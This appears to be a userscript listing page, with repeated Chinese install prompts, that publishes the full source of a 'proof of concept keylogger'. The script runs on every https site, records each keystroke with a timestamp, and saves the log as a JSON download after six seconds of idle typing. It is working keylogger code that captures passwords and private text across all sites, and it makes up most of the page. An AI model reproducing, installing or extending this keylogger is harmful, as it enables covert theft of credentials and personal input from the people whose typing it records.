proof of concept keylogger

Logs keystrokes to a file 6 seconds after the last keypress, now in human-readable format.

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Greasemonkey 油猴子Violentmonkey 暴力猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Violentmonkey 暴力猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Userscripts ,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展后才能安装此脚本。

(我已经安装了用户脚本管理器,让我安装!)

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

(我已经安装了用户样式管理器,让我安装!)

// ==UserScript==
// @name         proof of concept keylogger
// @namespace    https://localhost
// @version      0.4
// @description  Logs keystrokes to a file 6 seconds after the last keypress, now in human-readable format.
// @author       matts0613
// @match        https://*/*
// @match        localhost
// @grant        GM_xmlhttpRequest
// @license      MIT
// ==/UserScript==

(function () {
    'use strict';

    let log = [];
    let typingTimer;
    let doneTypingInterval = 6000; // 6 seconds
    let sessionStart = new Date().toISOString(); // Track session start time

    document.addEventListener('keydown', function (event) {
        log.push({
            key: event.key,
            timestamp: new Date().toLocaleString() // Convert timestamp to readable format
        });

        clearTimeout(typingTimer);
        typingTimer = setTimeout(function () {
            console.log("User has stopped typing for 6 seconds - saving log-key.json file.");

            if (log.length > 0) {
                let logData = {
                    session_start: sessionStart,
                    total_keystrokes: log.length,
                    keypresses: log
                };

                const blob = new Blob([JSON.stringify(logData, null, 4)], { type: 'application/json' });
                const url = URL.createObjectURL(blob);
                const link = document.createElement('a');
                link.href = url;
                link.download = 'log-key.json';
                document.body.appendChild(link);
                link.click();
                document.body.removeChild(link);
                URL.revokeObjectURL(url);
                log = []; // Clear log after saving
            }
        }, doneTypingInterval);
    });

})();